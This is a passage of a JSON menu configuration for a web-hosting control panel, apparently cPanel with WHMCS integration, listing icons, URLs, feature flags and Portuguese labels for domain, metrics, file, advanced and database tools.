Knowledgebase","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_knowledgebase"},{"height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAk1BMVEUAAAAlMjyJkJXl5eXl5eXl5eXl5eXl5eUlMjzt7e0lMjzl5eUlMjwrOj4wMzgxQj8yOz03S0E6NDU9U0M/RD5DW0RFNDFMTEBQNS1VX2ZVdElaVUFafEtslFBwOCJweH57OR9+rVSBcESEtVaFjJGJkJWOeUaWm6CbOxOdoqaoiki1k0nFPgXQPwHl5eXt7e33v0/68qlqAAAADHRSTlMAQEBAYI+fv9/f7++oUs8VAAAAxElEQVR42t3VSxKCMBBF0cbwBxHBD4IKKqCoAfe/OkPKBfQbOIA7yiCnKj1J0ywSlsPOFkRmD2VSgIGAerARdAdm3Q/UIbN6WqAsWSDJsizS94ehZIDkLaV8jKdmGBoOkCAId1V1jhCgQ8C+ba8xADYf1QsFTz5QoiiK+K9Db/M8XwNgdVOdALC8KHDkAyXSNNWHu+dBQ/sLooUPAINUBh+4pHNhgD4JGVoJAxha5brwNzMhgH/3YPDKwpciCdthZwmaQ19v/qpOiFo6XwAAAABJRU5ErkJggg==","description":"Check Network Status","searchtext":"Check Network Status","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_network_status","implements":"WHMCS_clientarea_network_status","itemorder":"1","width":48,"itemdesc":"Check Network Status","subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_network_status","target":"_blank","plainitemdesc":"Check Network Status","type":"image","imgtype":"icon"},{"searchtext":"View Billing Information","description":"View Billing Information","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAhFBMVEUAAAAlMjzt7e0lMjwlMjwlMjxNV18lMjwlMjwlMjwlMjzt7e0lMjx1fYOdoqbt7e0lMjwlMjzt7e0lMjzt7e0lMjwlMjy4u74lMjwyPkc+SVJweH6JkJWip6vIyszU1tfb29vc3Nze3t7h4eLi4uLl5eXm5ubn5+fq6urr6+vs7Ozt7e2vu8cdAAAAGHRSTlMAEBAgQFBQYHCAj4+fn5+fr7+/z8/f7+/6LN6mAAABPElEQVR4AZXT23KCMBSF4Q2eAcUAYtra1p5b9/u/X50lyUwxKzXr1u93si8QurxRLeX25Z2eV6d4bJPoH22V6C0pqCcF96TgHlsn+getE72SgnpSUE8K7k8fpGD+9fgeLLg/hgvuwwX34SLisZcfFLf7b8XKFI/FvH5de6Ue+7zyTcSjGPku594XCR5FisdOf700xI/mvaR6SfVSpnisvsE/7+fTzBebf/zb4R6/bqeuqKL+CRyrfBHzd/a8nQExvuDvwf/3mSxRrHxBvB4sApGZxSauWGt4wwFm1VtsKW51+AI7mpF4sR9cW/T2MokW3XxgmRQ+iBRdPvVsZbGdsAJeJuNgK6yAF2lHwUJoAS8Ld0PlXxQs4LHtBRqLzYQU3kvWQvoHkQJ+KArH+5kEV6o2zmOToj1rs8An9AtdWcJqFh+b+gAAAABJRU5ErkJggg==","onclick":"","height":48,"implements":"billing","url":"integration/index.html?app=WHMCS_clientarea_product_details","group":"whmcs","file":"WHMCS_clientarea_product_details","subtype":"img","acontent":"target=\"_blank\"","itemorder":"1","width":48,"itemdesc":"View Billing Information","imgtype":"icon","type":"image","plainitemdesc":"View Billing Information","target":"_blank"},{"onclick":"","height":48,"searchtext":"Manage Profile","description":"Manage Profile","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAnFBMVEUAAAAYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29vb29sYm9glMjzb29slMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjzb29sYm9glMjw/SlPb29sYm9glMjzb29sYm9glMjxHUlppcXiipqmusbPQ0NHb29to9csaAAAALHRSTlMAEBAQICAgMDAwQEBAUFBQYGBgcICAgI+Pn5+fr6+vv7+/z8/P39/f3+/v7xL0y2gAAAIoSURBVHjalVbbdqJAEGyZiBcIxGEd3LByicSoSLIb/v/flm6uYw/L2XpADlZ1VzXDADDY8pDlVY08U1LADERA3AF58C+NHVUcRWRPVVeVGYUy8jedmThwBRVwg7gztuF8WdBfFyn0TJemic/4LX2ykjTxD8KYLeIK4hfaJV7OH+UtkL+BSbhEsPueOeMzBc0KWigeyuxKAcGmvDCDGF00Q4lwnvp8tr+S5OeTPquiayG4oZc74rplpqhFgA1gjMX1TngHDZe2cG5sQNBaUOW4jawn+NEJXmBAz5Skmxe0Xnw41McAzJZWoEHRnLL66MJcaIJLZnIyxj1xR7CpqRlgEnjA4h35CTwC11Mv4CmeTILKLHj+T8GKUr8tjJYotPk+XJ8NoflYV2/3HonWxMex8huHdgYFu3FsaWzvGh6XhssW3yrRAIS14zhWw2TLm8Pan0vEx2/0wh4ghjXRCV/fsntY5TT/Vg747DeBQkz5aeqfneY3pCcJW0Rgxh5pr6kHXvqKp8u5jeyM5UfnYT/gyjUmwKo3WJ/K1AI8T0ebsUnh1JyTB0f0Bd6p/hnv59IkIBdpUztEwVgRCy4g6q4+enAie5qCvVOsElEL9w5QhuOwdtuXov4itz9wSksHmy1xSjvDazdTrk0XfJVXf0rCEXOj1tLWe1FxfDUKjE1BNAiD5PuzHECGdInMdH4sRdjRz1Sfa3wVZxf8+olV8w2xDGtDt+OO/P8FxpCXOOPPXYkAAAAASUVORK5CYII=","url":"integration/index.html?app=WHMCS_clientarea_profile","group":"whmcs","implements":"WHMCS_clientarea_profile","acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","width":48,"itemdesc":"Manage Profile","file":"WHMCS_clientarea_profile","type":"image","plainitemdesc":"Manage Profile","target":"_blank","imgtype":"icon"},{"acontent":"target=\"_blank\"","subtype":"img","itemorder":"1","itemdesc":"Register New Domain","width":48,"file":"WHMCS_clientarea_shopping_cart_domain_register","type":"image","plainitemdesc":"Register New Domain","target":"_blank","imgtype":"icon","onclick":"","height":48,"searchtext":"Register New Domain","description":"Register New Domain","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAilBMVEUAAAAlMjyEtVYlMjyEtVYlMjxFXkWEtVYlMjwlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjyEtVYlMjwrOj4xQj83S0E9U0NDW0RPa0dVdElafEtghExmjE5ynFF4pVN+rVSEtVZDVU8AAAAAH3RSTlMAEBAgIDAwMEBQUGBgcHCAgI+Pn5+vr7+/z8/f3+/v0SY3awAAAZ5JREFUeAGVlu9y2yAQxJcqapUqKqVYpgqRN7H6p3HK+79ekXUZk8Y26DfjOT7smjsQB3hH3VnHI852NTJUxvMN3lTX5JZnsJcsyvACRuEMjedFfIN3tLxKi/+wzGAz+oxD8inOqmERDQTlWYRXWDAsxMj+sphKVqgYKxOUUxVXkFThuQIP1FxFjY6r6GC5CgvHlNHq/hRoxl4P7PVJ5MCUQQG4XUI9ys7WQJI4mKLQOdOzgnYtWmoo1wF9jOcNDpC1m8eKGk2MFQmcMYwDhzeGSgzNBYOCY4Vb3Wo2MdTQBYZhKXBsjoEWLQfckiqpwSUpRQbnk+Dm4Uh6T8Gt3rj1n0bNAp6maeKRuuTz/vkSZp6jxxccoP0hvPKbJn9E93/DiT9Vtgk8voSUr9ku8CtRP8TfTa6RJRPcYROnyLTKfarHNoTvmWY8hch2u+g3IZJp97PhPkpFH8lcKJMk8+lVv8N1x5OkL3qp4VpWh9MCyShz7f5YdPei333IXuzPIeVz/unweEj0dyWPk4/fgrCT/88+f242D/P6fDnm/w9eCuE9FO/4IwAAAABJRU5ErkJggg==","url":"integration/index.html?app=WHMCS_clientarea_shopping_cart_domain_register","group":"whmcs","implements":"WHMCS_clientarea_shopping_cart_domain_register"},{"type":"image","plainitemdesc":"Transfer a Domain","target":"_blank","imgtype":"icon","acontent":"target=\"_blank\"","subtype":"img","width":48,"itemdesc":"Transfer a Domain","itemorder":"1","file":"WHMCS_clientarea_shopping_cart_domain_transfer","url":"integration/index.html?app=WHMCS_clientarea_shopping_cart_domain_transfer","group":"whmcs","implements":"WHMCS_clientarea_shopping_cart_domain_transfer","onclick":"","height":48,"searchtext":"Transfer a Domain","description":"Transfer a Domain","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAY1BMVEUAAAAlMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4lMjzxxA4Q6TfkAAAAH3RSTlMAEBAgIDAwQEBQUGBgcHCAgI+Pn5+vr7+/z8/f3+/vdkdMmQAAAdxJREFUeAG9lu+SoyAQxBvEJcZjMWcUTVbh/Z/yBgPRzbI3tR/uflWpKYUOPYz8QQF1Cxs3CZa3E4BTSGwPb/ie0xTCb0CO08YogfcQphPKyDEQJDjSBeJa9HZeqemje2mTXXy9ngvu4/sOkZLkayaKzCoUURMJihP0Lb9e25QCi5SHfOOQDGoN56d2jTVioGqueYyR8gXLRPXYtQosKvuI0g48sehTqtgHWFKqKjriB9iHOEfhNX9bHHIcJf4D8iR/1nkKI3bawQ0N0DxC7Wzvek2/Opd4wqcq9z5SXbZgYX1mEblknwQ1tVg3VDEsJCTBMHvvnPe6KKAODQUdQ0ud6BmWoi4KWiuM9+YhaGE5AdmJXry7L9VCIfpmBWi3BKtH2EYBjVofBfu0NlYAlbWmomC2IGwDYVrAGCTB7WeFU+8K/4ZKay2Q4D/v9u4jc/tc0u/4C9XsM07wSxRi8Tuz4DcB548M7DbTpr82SaG5jWxOVnQS9NxWma3XSbAwm7F+pqqJuL6Y7X4TNIf14pkDZXOy1ICwhIsC5shakiInfT8KwtpJvND7hyILLtyxmzouQ4oVduS1cLDj4o+Yr1eH7nh1yKYyPX85IaxPLAZl8vVnSvlU23w6I0D8AUrZRbBfAxQ+AAAAAElFTkSuQmCC"},{"implements":"WHMCS_clientarea_submit_ticket","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_submit_ticket","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAaVBMVEUAAACEtVaZwW+EtVaEtVaZwW9cjiiEtVaZwW+EtVaEtVaZwW+ZwW+EtVaZwW+EtVaXwG2ZwW+EtVaZwW+EtVaZwW+EtVaZwW+EtVaZwW9cjihmmDRrmzprnTlzoUN4qUiEtVaGsVmZwW98tPsQAAAAGnRSTlMAEBAgMDBAQEBgcHCAj4+fn5+vr7+/z8/v70sG19AAAADsSURBVHja7ZPZDoIwFAUPdUFRcQcsKNL//0hNLTf2RCx9NHFeCLczLSSAJ+poPLTgz48KL3Lj0/R+Qwu5Cy407/qgo4WLCwxze/k3w0jAdI3WTWdCAfMPfisoF6W9LiDk34JSQdlCQVhRQD6g7Ld5FviR2Mc+8A4hnwP2d8Yyg7D2g3tPkeDJ1t1NIWRuJAH5Q3CwJD8YJL5fnYTPwQGYvO8/gbD8GGRZ4Z2fQthQEOYf/EbQ1lrX7fjgqi3XsUGrHXxGNRDUfVDTwmYg0II/PyQcZKllLqTvWJ1+0ZHE+oj1Eesj1kesj6KK8B8h7csXeqVdoAAAAABJRU5ErkJggg==","description":"Open Ticket","searchtext":"Open Ticket","height":48,"onclick":"","imgtype":"icon","plainitemdesc":"Open Ticket","target":"_blank","type":"image","file":"WHMCS_clientarea_submit_ticket","itemorder":"1","itemdesc":"Open Ticket","width":48,"acontent":"target=\"_blank\"","subtype":"img"},{"plainitemdesc":"View Support Tickets","target":"_blank","type":"image","imgtype":"icon","itemorder":"1","itemdesc":"View Support Tickets","width":48,"subtype":"img","acontent":"target=\"_blank\"","file":"WHMCS_clientarea_tickets","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_tickets","implements":"support","height":48,"onclick":"","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAilBMVEUAAADt7e3Ozs7t7e3Ozs7g4ODt7e3t7e3t7e3Ozs7Ozs7t7e0lMjwyPkc+SVJLVV1XYWhcjihkbHNllDRweH6JkJWWm6CZwW+exHeip6ulvouuw5evs7a3yaO7vsHD167IyszI2rbJ1bzOzs7O3b7S28jU1tfW1tbY4s7d5dXh4eLk5+Ho6uXt7e37F3KlAAAADHRSTlMAEDBAYHCPn6/P7+8BnfPqAAAA+UlEQVR4AdXV206DQBDG8amHemApFXG1tq5bFZXRef/Xc7fdTryCb6Ix8X9DSOYXyLAJlJqdCdT5jPbNBWxeQIWCqgCB+22wvdUw8PhPQQiMA/aNSzUbEMSFK3UYqJ22gUAaXPgQ2nRdQqBzLR+epGD7nvscWyt/By/TZ4nzK7V7cDfIJIi7zQbJDYNMgtfdqlb48e7yqqLgIM3XLKX1lTYGvN7cA8A3LeNAwwEvXR0twOs5AsGNAeh3W1mAcIgCAu2HYP2U+4DBg2gIuO7FBPpeQKD9OaisYK7A+Nt9O3R6PBZpz6UTArPOk3WerPNknSfrPF1cHhHcF9/8CB/eH3crAAAAAElFTkSuQmCC","description":"View Support Tickets","searchtext":"View Support Tickets"},{"file":"WHMCS_clientarea_upgrade","itemorder":"1","width":48,"itemdesc":"Upgrade/Downgrade","acontent":"target=\"_blank\"","subtype":"img","imgtype":"icon","target":"_blank","plainitemdesc":"Upgrade/Downgrade","type":"image","base64_png_image":"iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAw1BMVEUAAAANhr8Ym9glMjwYm9glMjwNhr8Ym9glMjwNhr8Ym9glMjwNhr8Ym9gYm9glMjwNhr8XYocYm9gNhr8Ym9gfR10lMjwNhr8Ym9giO0slMjwNhr8Ym9gbVHAlMjwYm9glMjwNhr8Qi8UYm9glMjwYm9glMjwNhr8Ym9glMjwYm9glMjwNhr8PgbcQi8USdqYTcZ4TkcwVbJYWZ44WhrsYm9gZXH4ZfKsbV3UcUm0eTGUfR10fZ4ohQlUiPUwkN0QlMjwzhEifAAAALHRSTlMAEBAQICAwMDBAQEBQUGBgcHBwgICAgI+Pj4+fn5+fr6+/v7+/z8/f39/v76ecmrsAAAGnSURBVHjanZPrQoJAEIUPZiFbkimpmUWEJKHdwy528f2fKgZXWZotWb8/zuyZM7s7K9DQGIwWGaNBA1VoULVktIuNHC5UJodG9cQGx75sfN7tXkyW8b8X2bnOa7rLZJAnV/iDPcdxTqji+8iRnOWO4yzaY+Wt8TTjiwoep2tmlH9RNG6Vuwe5/kj6vKiXHe7yMCh2sTpSfiX5XjU80cpMJh0LOQfjlfwpD1BwQ4b3VTY+oPZBIZP6Ni0xL/cILPQUVd1fPaWS9/Cg8JHx/FDihdbUBaSGmBsSs/oEoZkhNDd4ZgbP3NA0MzQh9MMQQj8+AZsvxmnqAz4FDBv85YZwm8gQLoZMhMbgYo2rM4Rs1FTp++5fWsgnhz799oE2N5BYIvJqqC/DOmrtqFBkE3is/2rUQqPyi/m2arB9PhChmVKUH45py01tzcVqw+w5aoDPDZqH6GNNnz2DztAuDG2tIWL/jTRxATfJgl9EIMKUEwOx9nsjqA8jinSrQxCewffGb8bh8xDVDWI7A6obsKUhrlofS8PlbUUupaE3rcipNFhBtfrAAvADzXlsJf/WC3oAAAAASUVORK5CYII=","searchtext":"Upgrade/Downgrade","description":"Upgrade/Downgrade","height":48,"onclick":"","implements":"upgrade","group":"whmcs","url":"integration/index.html?app=WHMCS_clientarea_upgrade"}]},{"desc":"Domínios","items":[{"group":"domains","url":"wp-toolkit/index.live.php","base64_png_image":"","searchtext":"WordPress Management","description":"WordPress Management","height":"48","onclick":"","feature":"wp-toolkit","imgtype":"icon","plainitemdesc":"WordPress Management","target":"_self","type":"image","file":"wp-toolkit","itemorder":"-1","itemdesc":"WordPress Management","width":"48","subtype":"img","acontent":"target=\"_self\""},{"itemdesc":"Editor do site","width":"48","itemorder":"1","acontent":"","subtype":"img","file":"site_publisher","plainitemdesc":"Site Publisher","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon","height":"48","feature":"sitepublisher","onclick":"","base64_png_image":"","description":"Crie um website simples como um espaço reservado.","searchtext":"site publisher builder start website generator template Editor do site","key":"site_publisher","group":"domains","url":"site_publisher/index.html"},{"base64_png_image":"","description":"Sitejet Builder","searchtext":"sitejet builder domain website plugin Sitejet Builder","height":"48","feature":"sitejet","onclick":"","group":"domains","url":"sitejet/index.html","file":"cpanel-sitejet-plugin","width":"48","itemdesc":"Sitejet Builder","itemorder":"2","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Sitejet Builder","if":"$HASROLE{'WebServer'}","type":"image"},{"height":"48","onclick":"","feature":"socialbee","base64_png_image":"","description":"Social Media Management","searchtext":"media management plugin socialbee social bee Social Media Management","group":"domains","url":"socialbee/index.html","itemorder":"2","width":"48","itemdesc":"Social Media Management","acontent":"","subtype":"img","file":"cpanel-socialbee-plugin","target":"","plainitemdesc":"Social Media Management","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"key":"domains","description":"Crie, gerencie e exclua vários domínios.","searchtext":"domains parked park aliases alias addon subdomain domain force https redirect Domínios","base64_png_image":"","onclick":"","feature":"addondomains || subdomains || parkeddomains || sslinstall","height":"48","imagetype":"icon","implements":"Domains_domains","url":"domains/index.html","group":"domains","file":"domains","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Domínios","width":"48","type":"image","target":"","plainitemdesc":"Domains"},{"imgtype":"icon","target":"","plainitemdesc":"Redirects","if":"$HASROLE{'WebServer'}","type":"image","file":"redirects","itemdesc":"Redireciona","width":"48","itemorder":"6","acontent":"","subtype":"img","group":"domains","url":"mime/redirect.html","base64_png_image":"","description":"Enviar os visitantes de um domínio ou página particular a uma URL diferente.","searchtext":"Redireciona reescrever mod_rewrite","key":"redirects","height":"48","feature":"redirects","onclick":""},{"onclick":"","feature":"simplezoneedit || changemx || zoneedit","height":"48","key":"zone_editor","description":"Criar, gerenciar e excluir registros de zona DNS.","searchtext":"editor de zona avançado simples caa cname a aaaa txt dkim dmarc spf mx registro srv dns dnssec Editor de Zona de DNS","base64_png_image":"","url":"zone_editor/index.html","group":"domains","implements":"Zone_Editor","acontent":"","subtype":"img","itemorder":"6","width":"48","itemdesc":"Editor de Zona de DNS","file":"zone_editor","if":"$HASROLE{'DNS'}","type":"image","plainitemdesc":"Zone Editor","target":"","imgtype":"icon"}],"group":"domains"},{"items":[{"feature":"lastvisits","onclick":"","height":"48","searchtext":"latest visitors Visitantes","description":"Exibir informações detalhadas sobre várias visitas em seu website.","key":"visitors","base64_png_image":"","url":"stats/lastvisitors_landing.html","group":"metrics","subtype":"img","acontent":"","width":"48","itemdesc":"Visitantes","itemorder":"1","file":"visitors","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Visitors","imgtype":"icon"},{"description":"Ver as entradas mais recentes nos registros de erro do Apache®.","searchtext":"Erros errorlog log de erros","key":"errors","base64_png_image":"","feature":"errlog","onclick":"","height":"48","url":"stats/errlog.html","group":"metrics","file":"errors","subtype":"img","acontent":"","itemdesc":"Erros","width":"48","itemorder":"2","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Errors"},{"file":"bandwidth","itemorder":"3","width":"48","itemdesc":"Largura da banda","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Bandwidth","if":"$SERVICEPROVIDED{'ftp'} || $HASROLE{'MailReceive'} || $HASROLE{'WebServer'}","type":"image","base64_png_image":"","key":"bandwidth","description":"Visualize gráficos de uso de largura de banda por protocolo em vários períodos.","searchtext":"Transferência de largura de banda bandmin Largura da banda","height":"48","onclick":"","feature":"bandwidth","group":"metrics","url":"stats/bandwidth.html"},{"file":"raw_access","itemorder":"4","itemdesc":"Acesso Bruto","width":"48","subtype":"img","acontent":"","imgtype":"icon","plainitemdesc":"Raw Access","target":"","if":"$HASROLE{'WebServer'}","type":"image","base64_png_image":"","key":"raw_access","searchtext":"Registros Brutos de Acesso registros brutos rawlogs Acesso Bruto","description":"Ver os registros brutos do Apache® dos visitantes do seu site.","height":"48","onclick":"","feature":"rawlog","group":"metrics","url":"raw/index.html"},{"file":"lveresusage","itemorder":"999","width":"48","itemdesc":"Uso da Recursos","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Resource Usage","target":"","type":"image","base64_png_image":"","description":"Uso da Recursos","searchtext":"Uso da Recursos","height":"48","onclick":"","feature":"lveresusage","group":"metrics","url":"resource_usage/resource_usage.live.pl"}],"group":"metrics","desc":"Métrica"},{"desc":"Arquivos","items":[{"target":"_blank","plainitemdesc":"File Manager","type":"image","if":"$HASROLE{'FileStorage'}","imgtype":"icon","width":"48","itemdesc":"Gerenciador de arquivo","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","file":"file_manager","group":"files","url":"filemanager/index.html","implements":"FileManager_Home","height":"48","feature":"filemanager","onclick":"","base64_png_image":"","description":"Gerenciar e editar seus arquivos.","searchtext":"Gerenciador de Arquivos file-manager Gerenciador de arquivo","key":"file_manager"},{"url":"cpanelpro/images.html","group":"files","key":"images","searchtext":"image manager resize manager scaler thumbnailer format Imagens","description":"Modificar e gerenciar imagens salvas em sua conta do cPanel.","base64_png_image":"","onclick":"","feature":"cpanelpro_images","height":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","target":"","plainitemdesc":"Images","file":"images","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Imagens","width":"48"},{"file":"directory_privacy","subtype":"img","acontent":"","itemorder":"3","itemdesc":"Privacidade do Diretório","width":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Directory Privacy","key":"directory_privacy","description":"Proteja diretórios específicos em seus arquivos em sua conta cPanel.","searchtext":"Directory Privacy passwordprotect password protect Privacidade do Diretório","base64_png_image":"","onclick":"","feature":"webprotect","height":"48","url":"htaccess/index.html","group":"files"},{"height":"48","feature":"diskusageviewer","onclick":"","base64_png_image":"","searchtext":"Uso do disco uso do espaço em disco uso do disco Uso de disco","description":"Veja informações sobre seus arquivos, seus diretórios e como usar seu espaço em disco.","key":"disk_usage","group":"files","url":"diskusage/index.html","width":"48","itemdesc":"Uso de disco","itemorder":"4","subtype":"img","acontent":"","file":"disk_usage","target":"","plainitemdesc":"Disk Usage","if":"$HASROLE{'FileStorage'}","type":"image","imgtype":"icon"},{"height":"48","onclick":"","base64_png_image":"","description":"Inode Usage","searchtext":"Inode Usage","group":"files","url":"inode_usage/index.live.php","itemorder":"5","width":"48","itemdesc":"Inode Usage","acontent":"target=\"_self\"","subtype":"img","file":"inode_usage","plainitemdesc":"Inode Usage","target":"_self","type":"image","imgtype":"icon"},{"acontent":"","subtype":"img","itemorder":"5","itemdesc":"Disco web","width":"48","file":"web_disk","if":"$HASROLE{'WebDisk'} && $hascpdavd","type":"image","plainitemdesc":"Web Disk","target":"","imgtype":"icon","onclick":"","feature":"webdisk","height":"48","key":"web_disk","searchtext":"Web Disk webdav webdisk Disco web","description":"Gerenciar arquivos em vários tipos de dispositivos.","base64_png_image":"","url":"webdav/accounts_webdav.html","group":"files"},{"imgtype":"icon","plainitemdesc":"Backup","target":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","file":"backup","itemorder":"9","itemdesc":"Backup","width":"48","acontent":"","subtype":"img","implements":"Backups_Home","group":"files","url":"backup/index.html","base64_png_image":"","key":"backup","description":"Faça download e armazene seu website em um arquivo de backup.","searchtext":"Restauração de Backup","height":"48","onclick":"","feature":"backup"},{"width":"48","itemdesc":"Assistente de Backup","itemorder":"9","acontent":"","subtype":"img","file":"backup_wizard","plainitemdesc":"Backup Wizard","target":"","type":"image","if":"$HASROLE{'MailReceive'} || $HASROLE{'FileStorage'} || $SERVICEPROVIDED{'mysql'}","imgtype":"icon","height":"48","feature":"backup","onclick":"","base64_png_image":"","searchtext":"Restauração de Assistente de Backup","description":"Fazer backup de todo website ou parte dele, ou restaurá-lo do arquivo de backup mais recente.","key":"backup_wizard","group":"files","url":"backup/wizard.html"},{"key":"version_control","description":"Host repositórios Git™.","searchtext":"Git version control vcs repositories repository repo master checkout check out branch clone remote source code commit head gitweb history log publish deployment build continuous integration Controle de Versão do Git™","base64_png_image":"","onclick":"","feature":"version_control","height":"48","url":"version_control/index.html","group":"files","file":"version_control","subtype":"img","acontent":"","itemorder":"10","itemdesc":"Controle de Versão do Git™","width":"48","imgtype":"icon","if":"$HASROLE{'FileStorage'}","type":"image","plainitemdesc":"[asis,Git™] Version Control","target":""},{"file":"jb5","itemorder":0,"width":"48","itemdesc":"JetBackup 5","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"JetBackup 5","type":"image","base64_png_image":"","description":"JetBackup 5","searchtext":"JetBackup 5","height":"48","onclick":"","feature":"jb5","implements":"JetBackup5","group":"files","url":"jetbackup5/index.html"}],"group":"files"},{"desc":"Avançado","group":"advanced","items":[{"url":"terminal/index.html","group":"advanced","searchtext":"terminal bash tcsh command line shell ssh Terminal","description":"Acesse um aplicativo terminal no navegador para acesso direto em linha de comando dentro de uma sessão cPanel.","key":"terminal","base64_png_image":"","feature":"ssh","onclick":"","height":"48","imgtype":"icon","type":"image","if":"$hasvalidshell && $HASROLE{'FileStorage'}","target":"","plainitemdesc":"Terminal","file":"terminal","subtype":"img","acontent":"","itemdesc":"Terminal","width":"48","itemorder":"1"},{"implements":"Cron_Home","url":"cron/index.html","group":"advanced","description":"Crie, gerencie e exclua tarefas agendadas.","searchtext":"Tarefa Cron cronjob crontab edit Tarefas Cron","key":"cron_jobs","base64_png_image":"","feature":"cron","onclick":"","height":"48","imgtype":"icon","if":"$HASROLE{'WebServer'}","type":"image","target":"","plainitemdesc":"Cron Jobs","file":"cron_jobs","acontent":"","subtype":"img","itemdesc":"Tarefas Cron","width":"48","itemorder":"2"},{"group":"advanced","url":"net/index.html","height":"48","feature":"nettools","onclick":"","base64_png_image":"","searchtext":"Rastrear as ferramentas de rede DNS traceroute tracert dnslookup dig Rastrear DNS","description":"Realize rastreamento de rotas e pesquisas de domínio para diagnosticar problemas de rede.","key":"track_dns","target":"","plainitemdesc":"Track DNS","type":"image","imgtype":"icon","width":"48","itemdesc":"Rastrear DNS","itemorder":"3","acontent":"","subtype":"img","file":"track_dns"},{"base64_png_image":"","description":"Defina como o servidor exibe o índice de um diretório específico para um visitante ou para desabilitar a exibição do índice para um diretório.","searchtext":"Gerenciador de índices Índices","key":"indexes","height":"48","feature":"indexmanager","onclick":"","group":"advanced","url":"indexmanager/index.html","file":"indexes","width":"48","itemdesc":"Índices","itemorder":"4","subtype":"img","acontent":"","imgtype":"icon","target":"","plainitemdesc":"Indexes","type":"image","if":"$HASROLE{'WebServer'}"},{"file":"error_pages","itemdesc":"Páginas de erro","width":"48","itemorder":"5","acontent":"","subtype":"img","imgtype":"icon","target":"","plainitemdesc":"Error Pages","type":"image","if":"$HASROLE{'WebServer'}","base64_png_image":"","description":"Informe os visitantes sobre problemas quando eles tentarem acessar seu site.","searchtext":"Error Pages errorlog error_log error log Páginas de erro","key":"error_pages","height":"48","feature":"errpgs","onclick":"","group":"advanced","url":"err/index.html"},{"height":"48","onclick":"","feature":"handlers","base64_png_image":"","key":"apache_handlers","searchtext":"Manipuladores de Apache extensão de manipuladores de apache configurado Cabeçalhos de Apache","description":"Controle como o software do servidor web Apache® de seu website gerencia certos tipos de arquivos e extensões de arquivo.","group":"advanced","url":"mime/handle.html","itemorder":"6","itemdesc":"Cabeçalhos de Apache","width":"48","acontent":"","subtype":"img","file":"apache_handlers","target":"","plainitemdesc":"Apache Handlers","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"group":"advanced","url":"mime/mime.html","height":"48","onclick":"","feature":"mime","base64_png_image":"","key":"mime_types","description":"Informações de retransmissão para o navegador do visitante sobre como lidar com extensões de arquivo.","searchtext":"Tipos MIME tipos mimetype Tipos de MIME","target":"","plainitemdesc":"MIME Types","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"7","itemdesc":"Tipos de MIME","width":"48","acontent":"","subtype":"img","file":"mime_types"}]},{"group":"soft_div","items":[{"imgtype":"icon","target":"","plainitemdesc":"Softaculous Apps Installer","type":"image","file":"soft_div_icons","itemdesc":"Softaculous Apps Installer","width":"48","itemorder":"10","subtype":"img","acontent":"","group":"soft_div","url":"softaculous/index.live.php","base64_png_image":"","searchtext":"Softaculous Apps Installer","description":"Softaculous Apps Installer","height":"48","feature":"soft_div_icons","onclick":""}],"desc":"Softaculous Apps Installer"},{"desc":"Bancos de dados","items":[{"base64_png_image":"","description":"Manage databases with phpMyAdmin.","searchtext":"phpMyAdmin database db","key":"php_my_admin","height":"48","feature":"phpmyadmin","onclick":"","implements":"Database_phpMyAdmin","group":"databases","url":"sql/PhpMyAdmin.html","file":"php_my_admin","width":"48","itemdesc":"phpMyAdmin","itemorder":"1","subtype":"img","acontent":"target=\"_blank\"","imgtype":"icon","target":"_blank","plainitemdesc":"phpMyAdmin","type":"image","if":"$SERVICEPROVIDED{'mysql'}"},{"implements":"Database_MySQL","group":"databases","url":"sql/index.html","base64_png_image":"","key":"mysql_databases","description":"Create, manage, and delete databases and database users.","searchtext":"Bancos de dados MySQL db Manage My Databases","height":"48","onclick":"","feature":"mysql","imgtype":"icon","plainitemdesc":"Manage My 